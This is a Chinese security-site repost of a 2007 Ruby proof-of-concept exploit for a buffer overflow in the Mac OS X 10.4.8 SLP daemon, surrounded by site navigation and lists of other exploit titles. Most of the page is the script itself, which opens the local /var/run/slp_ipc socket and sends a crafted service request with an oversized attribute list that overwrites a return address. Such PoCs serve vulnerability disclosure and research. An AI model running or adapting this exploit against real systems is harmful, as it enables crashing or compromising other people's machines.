首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X 10.4.8 SLP Daemon Service Registration Buffer Overflow PoC
来源:lmh [at] info-pull.com 作者:Lance 发布时间:2007-01-19  

#!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok <lmh [at] info-pull.com>
# Kevin Finisterre <kf_lists [at] digitalmunition.com>
# All pwnage reserved.
#
# Proof of concept for MOAB-17-01-2007
# http://projects.info-pull.com/moab/MOAB-17-01-2007.html
#
# Originally reported to Apple by Kevin, on 08/02/2006.

require 'socket'

target_path = (ARGV[0] || '/var/run/slp_ipc')
slp_socket = UNIXSocket.open(target_path)

payload = ("\x58" * 506)
payload << [0xdeadbeef].pack("V") # ...it expects a valid mem. address (ex. 0xbffff398)

stream = "\x01" + # SrvRqst = 1
"\x00\x13" + # Length of remaining fields? (up to attr-list)
"\x04\x00\x00\x00\x00\x00\x00" +
"\x00\x02\x00\x00" + # length of scope-list string
"\x78\x78" + # <scope-list>
"\xff\x03\x00\x00" + # length of attr-list string 0x3ff = 1023 in hex.
(payload) # <attr-list>

slp_socket.write stream
slp_socket.close



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BrowseDialog Class (ccrpbds6.d
·phpBP <= RC3 (2.204) (sql/c
·迅雷5 ThunderAgent Module 远程
·GNU/Linux mbse-bbs <= 0.70.
·Microsoft Help Workshop 4.03.0
·phpIndexPage <= 1.0.1 (conf
·MS Internet Explorer VML Downl
·Apple iChat 3.1.6 v441 aim://
·Woltlab Burning Board <= 1.
·Mac OS X 10.4.x Kernel shared_
·Woltlab Burning Board <= 1.
·Sun Microsystems Java GIF File
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved